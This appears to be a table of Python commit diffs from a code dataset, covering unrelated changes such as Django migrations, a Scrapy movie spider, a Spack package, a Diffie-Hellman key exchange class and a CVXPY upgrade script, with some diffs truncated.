448ca2cfb8f7e167b1395e84a4f2b4b4cea57905 | add file | crawler/jb51.py | crawler/jb51.py | Python | 0.000001 | @@ -0,0 +1,480 @@
+#!/usr/bin/env python%0A# -*- coding: utf-8 -*-%0A%0Afrom async_spider import AsySpider%0A%0A%0Aclass Jb51Spider(AsySpider):%0A%0A def handle_html(self, url, html):%0A print(url)%0A '''%0A filename = url.rsplit('/', 1)%5B1%5D%0A with open(filename, 'w+') as f:%0A ... | |
55b3269f9c2cd22ef75a2632f04e37a9f723e961 | add data migration | accelerator/migrations/0033_migrate_gender_data.py | accelerator/migrations/0033_migrate_gender_data.py | Python | 0 | @@ -0,0 +1,1889 @@
+# Generated by Django 2.2.10 on 2021-01-22 12:13%0Aimport sys%0A%0Afrom django.contrib.auth import get_user_model%0Afrom django.db import migrations%0A%0A# gender identity%0AGENDER_MALE = %22Male%22%0AGENDER_FEMALE = %22Female%22%0AGENDER_PREFER_TO_SELF_DESCRIBE = %22I Prefer To Self-describe%22%0AG... | |
3344bb0a967c4217f6fa1d701b2c4dfb89d578aa | add new package : alluxio (#14143) | var/spack/repos/builtin/packages/alluxio/package.py | var/spack/repos/builtin/packages/alluxio/package.py | Python | 0 | @@ -0,0 +1,821 @@
+# Copyright 2013-2019 Lawrence Livermore National Security, LLC and other%0A# Spack Project Developers. See the top-level COPYRIGHT file for details.%0A#%0A# SPDX-License-Identifier: (Apache-2.0 OR MIT)%0A%0Afrom spack import *%0A%0A%0Aclass Alluxio(Package):%0A %22%22%22%0A Alluxio (formerly k... | |
6dc035051d666707fdc09e63f510dbc4edf1724d | Migrate lab_members | lab_members/migrations/0001_initial.py | lab_members/migrations/0001_initial.py | Python | 0.000001 | @@ -0,0 +1,1633 @@
+# -*- coding: utf-8 -*-%0Afrom __future__ import unicode_literals%0A%0Afrom django.db import models, migrations%0A%0A%0Aclass Migration(migrations.Migration):%0A%0A dependencies = %5B%0A %5D%0A%0A operations = %5B%0A migrations.CreateModel(%0A name='Position',%0A ... | |
f7f25876d3398cacc822faf2b16cc156e88c7fd3 | Use this enough, might as well add it. | misc/jp2_kakadu_pillow.py | misc/jp2_kakadu_pillow.py | Python | 0 | @@ -0,0 +1,1645 @@
+# This the basic flow for getting from a JP2 to a jpg w/ kdu_expand and Pillow%0A# Useful for debugging the scenario independent of the server.%0A%0Afrom PIL import Image%0Afrom PIL.ImageFile import Parser%0Afrom os import makedirs, path, unlink%0Aimport subprocess%0Aimport sys%0A%0AKDU_EXPAND='/usr... | |
2f9324f4d073082f47ecd8279d4bd85eaa1cf258 | add splits-io api wrapper | modules/apis/splits_io.py | modules/apis/splits_io.py | Python | 0 | @@ -0,0 +1,399 @@
+#! /usr/bin/env python2.7%0A%0Aimport modules.apis.api_base as api%0A%0Aclass SplitsIOAPI(api.API):%0A%0A def __init__(self, session = None):%0A super(SplitsIOAPI, self).__init__(%22https://splits.io/api/v3%22, session)%0A%0A def get_user_splits(self, user, **kwargs):%0A endpoint ... | |
d5e67563f23acb11fe0e4641d48b67fe3509822f | Add test migration removing ref to old company image | apps/companyprofile/migrations/0002_auto_20151014_2132.py | apps/companyprofile/migrations/0002_auto_20151014_2132.py | Python | 0 | @@ -0,0 +1,386 @@
+# -*- coding: utf-8 -*-%0Afrom __future__ import unicode_literals%0A%0Afrom django.db import models, migrations%0A%0A%0Aclass Migration(migrations.Migration):%0A%0A dependencies = %5B%0A ('companyprofile', '0001_initial'),%0A %5D%0A%0A operations = %5B%0A migrations.RenameField... | |
a1e2e51c2777107bbc8a20429078638917149b6a | Remove unused import | src/compas/rpc/services/default.py | src/compas/rpc/services/default.py | import os
import inspect
import json
import socket
import compas
from compas.rpc import Server
from compas.rpc import Service
class DefaultService(Service):
pass
if __name__ == '__main__':
import sys
import threading
try:
port = int(sys.argv[1])
except:
port = 1753
print... | Python | 0.000001 | @@ -211,29 +211,8 @@
sys
-%0A import threading
%0A%0A
|
f20f286a3c5c6e2b9adf7220ac4426ce783d96b5 | Create regressors.py | trendpy/regressors.py | trendpy/regressors.py | Python | 0.000001 | @@ -0,0 +1,1159 @@
+# regressors.py%0A%0A# MIT License%0A%0A# Copyright (c) 2017 Rene Jean Corneille%0A%0A# Permission is hereby granted, free of charge, to any person obtaining a copy%0A# of this software and associated documentation files (the %22Software%22), to deal%0A# in the Software without restriction, includin... | |
ad777af05d2995ee43b3d64ce435cc96379fa9a2 | add iostat template | graph_templates/iostat.py | graph_templates/iostat.py | Python | 0 | @@ -0,0 +1,659 @@
+from . import GraphTemplate%0A%0A%0Aclass IostatTemplate(GraphTemplate):%0A '''%0A corresponds to diamond diskusage plugin%0A '''%0A target_types = %7B%0A 'gauge': %7B%0A 'match': '%5Eservers%5C.(?P%3Cserver%3E%5B%5E%5C.%5D+)%5C.iostat%5C.(?P%3Cdevice%3E%5B%5E%5C.%5D+)%5... | |
5a47b4f3b13c2d66a9e226eeb90dfddef048279f | Implement the host and address options in runserver | djangae/management/commands/runserver.py | djangae/management/commands/runserver.py | import os
from django.core.management.commands.runserver import BaseRunserverCommand
from datetime import datetime
class Command(BaseRunserverCommand):
"""
Overrides the default Django runserver command.
Instead of starting the default Django development server this
command fires up a copy of the f... | Python | 0.000001 | @@ -571,92 +571,8 @@
')%0A%0A
- # We use the old dev appserver if threading is disabled or --old was passed%0A
@@ -2190,17 +2190,16 @@
path()%0A%0A
-%0A
@@ -2438,16 +2438,186 @@
andbox%0A%0A
+ sandbox._OPTIONS.port = int(self.port) if self.port else sandbox._OPTIONS.port%0A sandb... |
1637b53727f81c9528c47effab172f86a58e8b9a | Add script register_ph_migrate.py to mass register and migrate placeholders remotely | ereuse_devicehub/scripts/register_ph_migrate.py | ereuse_devicehub/scripts/register_ph_migrate.py | Python | 0 | @@ -0,0 +1,2519 @@
+import argparse%0A%0Aimport requests%0Afrom ereuse_devicehub.security.request_auth import Auth%0A%0A%0Adef create_placeholders_and_migrate(base_url, email, password, n_placeholders, origin_db, dest_db, label=None,%0A comment=None):%0A %22%22%22%0A Remotely... | |
54641126cd8d662c6443aff1e6fe238c4bb09932 | Add PowerAnalysers Voltech PMn000 | engineering_project/Instrument/PowerAnalyser.py | engineering_project/Instrument/PowerAnalyser.py | Python | 0 | @@ -0,0 +1,948 @@
+# import time%0A# import logging%0A# from scipy.interpolate import UnivariateSpline%0A# import numpy as np%0Atry:%0A from Instrument.GenericInstrument import GenericInstrument%0A from Instrument.IEEE488 import IEEE488%0A from Instrument.SCPI import SCPI%0A%0Aexcept ImportError:%0A from Ge... | |
884861de58ddfb12f2f5d15ce35349c74eab0c4e | Create 5009-set_bio_gripper.py | example/wrapper/common/5009-set_bio_gripper.py | example/wrapper/common/5009-set_bio_gripper.py | Python | 0.000012 | @@ -0,0 +1,1067 @@
+#!/usr/bin/env python3%0A# Software License Agreement (BSD License)%0A#%0A# Copyright (c) 2020, UFACTORY, Inc.%0A# All rights reserved.%0A#%0A# Author: Hutton %3Cgeweipan@ufactory.cc%3E%0A%0A%22%22%22%0AExample: Bio Gripper Control%0APlease make sure that the gripper is attached to the end.%0A%22%22... | |
3ebe9ccebede38cc0638ef4adefe54fca306f2e6 | fix path | doc/conf.py | doc/conf.py | __license__ = """
Copyright 2012 DISQUS
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, so... | Python | 0.000017 | @@ -763,18 +763,15 @@
ath.
-insert(0,
+append(
pare
@@ -1187,16 +1187,77 @@
embers',
+ 'undoc-members', 'private-members',%0A
'show-i
|
3cfd37f81708e1f3a1b69d6c310c7f93d32eb8ed | add script to generate artificial data | django_db_meter/generate_data.py | django_db_meter/generate_data.py | Python | 0.000002 | @@ -0,0 +1,1227 @@
+import random%0Aimport threading%0A%0Afrom django.contrib.auth.models import User%0Afrom models import TestModel%0A%0A%0Adef generate_queries():%0A u1 = User.objects.filter()%0A%0A new_name = str(random.randint(0, 2000000))%0A if u1:%0A u1.update(first_name=new_name)%0A else:%0A ... | |
af88a37ed87b18941232a98f52fec001bd63b453 | Fix bug in CookieJar where QSettings expected str, but got QByteArray instead (#10) | python/pyphantomjs/cookiejar.py | python/pyphantomjs/cookiejar.py | '''
This file is part of the PyPhantomJS project.
Copyright (C) 2011 James Roe <roejames12@hotmail.com>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
... | Python | 0 | @@ -1235,16 +1235,20 @@
etValue(
+str(
cookie.n
@@ -1252,18 +1252,23 @@
e.name()
+)
,
+str(
cookie.v
@@ -1274,16 +1274,17 @@
value())
+)
%0A%0A
|
eb34dd310cac0106070554c440b134d0baad6c8e | add a way to sequence animations into a new animation | vectortween/SequentialAnimation.py | vectortween/SequentialAnimation.py | Python | 0.000001 | @@ -0,0 +1,2599 @@
+from vectortween.Animation import Animation%0Afrom vectortween.Tween import Tween%0Afrom vectortween.Mapping import Mapping%0Afrom copy import deepcopy%0Afrom itertools import tee%0Aimport numpy as np%0A%0Adef pairwise(iterable):%0A %22s -%3E (s0,s1), (s1,s2), (s2, s3), ...%22%0A a, b = tee(i... | |
d5b622e9fb855753630cd3a6fae1a315b4be1a08 | Add example using new pytorch backend | examples/dominant_eigenvector_pytorch.py | examples/dominant_eigenvector_pytorch.py | Python | 0 | @@ -0,0 +1,1685 @@
+import numpy as np%0Aimport numpy.random as rnd%0Aimport numpy.linalg as la%0Aimport torch%0A%0Afrom pymanopt import Problem%0Afrom pymanopt.tools import decorators%0Afrom pymanopt.manifolds import Sphere%0Afrom pymanopt.solvers import TrustRegions%0A%0A%0Adef dominant_eigenvector(A):%0A %22%22%2... | |
7a9cb703e776d91d4fc3c632b190bd7d318a12a6 | Create primary directions module | flatlib/predictives/primarydirections.py | flatlib/predictives/primarydirections.py | Python | 0.000001 | @@ -0,0 +1,1861 @@
+%22%22%22%0A This file is part of flatlib - (C) FlatAngle%0A Author: Jo%C3%A3o Ventura (flatangleweb@gmail.com)%0A %0A%0A This module implements the Primary Directions%0A method.%0A %0A%22%22%22%0A%0Afrom flatlib import angle%0Afrom flatlib import utils%0A%0A%0A%0A# === Base functi... | |
9fbde5b8dd4d2555e03bc0b7915fc4e55f8333d9 | Add test to help module | numba/tests/test_help.py | numba/tests/test_help.py | Python | 0 | @@ -0,0 +1,2031 @@
+from __future__ import print_function%0A%0Aimport builtins%0Aimport types as pytypes%0A%0Aimport numpy as np%0A%0Afrom numba import types%0Afrom .support import TestCase%0Afrom numba.help.inspector import inspect_function, inspect_module%0A%0A%0Aclass TestInspector(TestCase):%0A def check_functio... | |
e8607fce01bfe17c08de0702c4041d98504bc159 | Add migration for changing CONTACTED_CHOICES | reunition/apps/alumni/migrations/0006_auto_20150823_2030.py | reunition/apps/alumni/migrations/0006_auto_20150823_2030.py | Python | 0 | @@ -0,0 +1,834 @@
+# -*- coding: utf-8 -*-%0Afrom __future__ import unicode_literals%0A%0Afrom django.db import models, migrations%0A%0A%0Aclass Migration(migrations.Migration):%0A%0A dependencies = %5B%0A ('alumni', '0005_note'),%0A %5D%0A%0A operations = %5B%0A migrations.AlterField(%0A ... | |
6be37e92139a5e6eacc5c43f8eb82fb45d3757f3 | switch now has interfaces objects | kyco/core/switch.py | kyco/core/switch.py | # -*- coding: utf-8 *-*
"""Module with main classes related to Switches"""
import logging
from socket import error as SocketError
from socket import socket as Socket
from kyco.constants import CONNECTION_TIMEOUT
from kyco.utils import now
__all__ = ('Switch',)
log = logging.getLogger('Kyco')
class Connection(object... | Python | 0 | @@ -290,16 +290,276 @@
Kyco')%0A%0A
+class Interface(object):%0A def __init__(self, name, port_number, switch, address=None, state=None):%0A self.name = name%0A self.port_number = int(port_number)%0A self.switch = switch%0A self.address = address%0A self.state = state%0A%0A%0A
cl... |
6ac9744539711418ea031717ce83ab42ef1ab8a9 | Fix help text about the default type | DCA/__main__.py | DCA/__main__.py | # Copyright 2016 Goekcen Eraslan
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writi... | Python | 0.00032 | @@ -2146,17 +2146,8 @@
zinb
-(default)
, %22%0A
@@ -2190,16 +2190,25 @@
conddisp
+(default)
zinb-fo
|
5db1a4c8c721a0acffa6e903c5eef9b84ebfd0d3 | rename example to avoid namespace problem | examples/tutorials/scipy2008/traits_example.py | examples/tutorials/scipy2008/traits_example.py | Python | 0 | @@ -0,0 +1,1774 @@
+%0Afrom numpy import linspace, sin%0A%0Afrom enable.api import ColorTrait%0Afrom chaco.api import ArrayPlotData, Plot, marker_trait%0Afrom enable.component_editor import ComponentEditor%0Afrom traits.api import HasTraits, Instance, Int%0Afrom traitsui.api import Group, Item, View%0A%0Aclass ScatterP... | |
212d19c29a42bd6966965b166cdbb4dd642e5eb4 | Add test-cases for `get_user_membership` | wqflask/tests/unit/wqflask/test_resource_manager.py | wqflask/tests/unit/wqflask/test_resource_manager.py | Python | 0.000002 | @@ -0,0 +1,1895 @@
+%22%22%22Test cases for wqflask/resource_manager.py%22%22%22%0Aimport unittest%0A%0Afrom unittest import mock%0Afrom wqflask.resource_manager import get_user_membership%0A%0A%0Aclass TestGetUserMembership(unittest.TestCase):%0A %22%22%22Test cases for %60get_user_membership%60%22%22%22%0A%0A d... | |
3bdbc33e94a601f5d903bd32caf5ad7698fc025e | Fix zulip.com hardcoding. | zerver/management/commands/initialize_voyager_db.py | zerver/management/commands/initialize_voyager_db.py | from __future__ import absolute_import
from typing import Any, Iterable, Tuple
from django.core.management.base import BaseCommand
from django.contrib.sites.models import Site
from zerver.models import UserProfile, Stream, Recipient, \
Subscription, Realm, get_client, email_to_username
from django.conf import se... | Python | 0 | @@ -1420,19 +1420,36 @@
ain=
-%22zulip.com%22
+settings.INTERNAL_BOT_DOMAIN
)%0A%0A
|
b2febfd4b52c1e50be4d8ba614adcbe4d59251d8 | Add blank init file | SDK/__init__.py | SDK/__init__.py | Python | 0 | @@ -0,0 +1 @@
+%0A
| |
fc58a85131675672ccef2302038cc55c9e4b0460 | Migrate products | c2corg_api/scripts/migration/documents/products.py | c2corg_api/scripts/migration/documents/products.py | Python | 0.000002 | @@ -0,0 +1,3428 @@
+from c2corg_api.models.document import DocumentGeometry, %5C%0A ArchiveDocumentGeometry%0Afrom c2corg_api.models.waypoint import Waypoint, ArchiveWaypoint, %5C%0A WaypointLocale, ArchiveWaypointLocale%0Afrom c2corg_api.scripts.migration.documents.document import MigrateDocuments%0A%0A%0Aclass ... | |
9719189501f8b0fcff186b1bc2130fcef8d21e8d | add movie scraper | scrape_rotten/scrape_rotten/spiders/movie_spider.py | scrape_rotten/scrape_rotten/spiders/movie_spider.py | Python | 0.000009 | @@ -0,0 +1,1315 @@
+import scrapy%0A%0Adef get_urls():%0A %0A # load from file%0A with open('movie_urls.json') as f:%0A return %5Bline.rstrip() for line in f%5D%0A %0Aclass MovieSpider(scrapy.Spider):%0A name = 'movies'%0A start_urls = get_urls()%0A%0A def meta_property(self, response, prop):%0... | |
052832a766e296a3444cb7afd5b5a930013d18d6 | Create z04-convolutional-neural-network.py | skflow-examples/z04-convolutional-neural-network.py | skflow-examples/z04-convolutional-neural-network.py | Python | 0.000003 | @@ -0,0 +1,1530 @@
+# http://terrytangyuan.github.io/2016/03/14/scikit-flow-intro/%0A%0A%0A# Loading MNIST data%0Amnist = input_data.read_data_sets('MNIST_data')%0A%0Adef max_pool_2x2(tensor_in):%0A return tf.nn.max_pool(tensor_in, ksize=%5B1, 2, 2, 1%5D, strides=%5B1, 2, 2, 1%5D,%0A padding='SAME')%0A%0Adef ... | |
b9ff8fc06f9bd55721332831d4ce23589d93fafb | Create 3Sum.py | leetcode/15.-3Sum/3Sum.py | leetcode/15.-3Sum/3Sum.py | Python | 0.000002 | @@ -0,0 +1,1296 @@
+class Solution(object):%0A def threeSum(self, nums):%0A %22%22%22%0A :type nums: List%5Bint%5D%0A :rtype: List%5BList%5Bint%5D%5D%0A %22%22%22%0A res = %5B%5D%0A sortnum = sorted(nums)%0A length = len(sortnum)%0A # make sure a %3C b %3C c%0A... | |
80bf107b29f51456f778da718ef438fd62545b1b | Add server test file | pi_approach/UI/server.py | pi_approach/UI/server.py | Python | 0.000001 | @@ -0,0 +1,1134 @@
+import socket%0A %0AHOST = socket.gethostname() + '.local' # Server IP or Hostname%0APORT = 12345 # Pick an open Port (1000+ recommended), must match the client sport%0As = socket.socket(socket.AF_INET, socket.SOCK_STREAM)%0Aprint 'Socket created'%0A %0A#managing error exception%0Atry:%0A s.... | |
691b27a4d97d5c2966f1627ed6cc5870024537c0 | add bouncy example | 06-animation/bouncy.py | 06-animation/bouncy.py | Python | 0.000007 | @@ -0,0 +1,1212 @@
+def setup():%0A%09size(300,300)%0A%09# ball properties%0A%09global rad, d, pos, vel, grav%0A%09rad = 25%09%09 # radius of the ball%0A%09pos = PVector( 150, 50 )%09%09# initial position of the ball%0A%09vel = PVector( random(-3,3), random(-3,3) )%09 # velocity of the balll%0A%09grav = PVector( 0, 0.... | |
1f6e225a1b01e8eb4cd9f1d5da05455d85326064 | Validate ck_user_has_mobile_or_other_auth constraint | migrations/versions/0357_validate_constraint.py | migrations/versions/0357_validate_constraint.py | Python | 0 | @@ -0,0 +1,569 @@
+%22%22%22%0A%0ARevision ID: 0357_validate_constraint%0ARevises: 0356_add_webautn_auth_type%0ACreate Date: 2021-05-13 14:15:25.259991%0A%0A%22%22%22%0Afrom alembic import op%0A%0Arevision = '0357_validate_constraint'%0Adown_revision = '0356_add_webautn_auth_type'%0A%0A%0Adef upgrade():%0A # ### com... | |
8387b0289e84ededdd9ba3db5ba47f149b918530 | clean up batch submit script | dnanexus/dx_batch.py | dnanexus/dx_batch.py | Python | 0 | @@ -0,0 +1,1998 @@
+#!/usr/bin/env python%0Aimport argparse%0Aimport os%0Aimport sys%0Aimport subprocess%0A%0Aimport dxpy%0Aimport requests%0Afrom dxencode import dxencode as dxencode%0A%0ASERVER = 'https://www.encodeproject.org'%0AASSAY_TYPE = 'whole genome bisulfite sequencing'%0AASSAY_TERM_ID = 'OBI:0001863'%0AHEADE... | |
9e217f0641328e1dfce91cdffdb8b5d77e4fe8fa | Add segcnn | examples/human_sar/segcnn.py | examples/human_sar/segcnn.py | Python | 0.000084 | @@ -0,0 +1,2516 @@
+import os%0Aimport sys%0Aimport cPickle%0Aimport theano.tensor as T%0A%0Ahomepath = os.path.join('..', '..')%0A%0Aif not homepath in sys.path:%0A sys.path.insert(0, homepath)%0A%0Afrom dlearn.models.layer import FullConnLayer, ConvPoolLayer%0Afrom dlearn.models.nnet import NeuralNet%0Afrom dlearn... | |
ef627493f87d60e404008b26fe13e816d492a333 | add a bluetooth test component that simply displays when a device move on the network | python/test_bluetooth.py | python/test_bluetooth.py | Python | 0 | @@ -0,0 +1,2228 @@
+#!/usr/bin/python%0A# -- Content-Encoding: UTF-8 --%0A%22%22%22%0ATest bluetooth module that displays informations from%0Abluetooth and print a message when a bluetooth device%0Aappears or disappears.%0A%0A:author: Luc Libralesso%0A:copyright: Copyright 2014, isandlaTech%0A:license: Apache License 2... | |
a1e3e275a81ff073fed226619bde23361230cfce | Add tests for packaging.tests.support (#12659). | Lib/packaging/tests/test_support.py | Lib/packaging/tests/test_support.py | Python | 0 | @@ -0,0 +1,2653 @@
+import os%0Aimport tempfile%0A%0Afrom packaging.dist import Distribution%0Afrom packaging.tests import support, unittest%0A%0A%0Aclass TestingSupportTestCase(unittest.TestCase):%0A%0A def test_fake_dec(self):%0A @support.fake_dec(1, 2, k=3)%0A def func(arg0, *args, **kargs):%0A ... | |
5a59b5b96e223da782cf683aabbf4e8371c883e1 | Add DHKE protocol | cryptos/dhke.py | cryptos/dhke.py | Python | 0.000001 | @@ -0,0 +1,1697 @@
+%22%22%22%0AImplementation of the Diffie-Hellman Key Exchange Protocol%0A%0AUsage:%0A%0A # Setup%0A invoker = DHKEInvoker()%0A other = DHKEParty(invoker.get_param())%0A%0A # Key exchange phase%0A other.receive_partial_key(invoker.get_partial_key())%0A invoker.receive_partial_key(ot... | |
088cd2ddb79bdd2a8dd68e2d7169484eea90fd1a | Add problem79.py | euler_python/problem79.py | euler_python/problem79.py | Python | 0.000088 | @@ -0,0 +1,2140 @@
+%22%22%22%0Aproblem79.py%0A%0AA common security method used for online banking is to ask the user for three%0Arandom characters from a passcode. For example, if the passcode was 531278, they%0Amay ask for the 2nd, 3rd, and 5th characters; the expected reply would be: 317.%0A%0AThe text file, keylog.... | |
a0e9ac222091619f41a4eed0cfb25c1653b8034d | add simple update script | cvxpy/utilities/cvxpy_upgrade.py | cvxpy/utilities/cvxpy_upgrade.py | Python | 0 | @@ -0,0 +1,1985 @@
+import argparse%0Aimport re%0A%0A%0A# Captures row and column parameters; note the captured object should%0A# not be a keyword argument other than %22cols%22 (hence the requirement that%0A# the captured group is followed by a comma, whitespace, or parentheses)%0AP_ROW_COL = r%22(?:rows=)?(%5Cw+),%5C... | |
5a99f676a5b0b55d0490c955cb9af42d9121192d | Initialize database transactions | app/database.py | app/database.py | Python | 0 | @@ -0,0 +1,653 @@
+%22%22%22This module initialises .%22%22%22%0Afrom sqlalchemy import create_engine%0Afrom sqlalchemy.orm import scoped_session, sessionmaker%0Afrom sqlalchemy.ext.declarative import declarative_base%0Afrom config.config import Config%0A%0Aengine = create_engine(Config.DATABASE_URI, convert_unicode=Tr... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.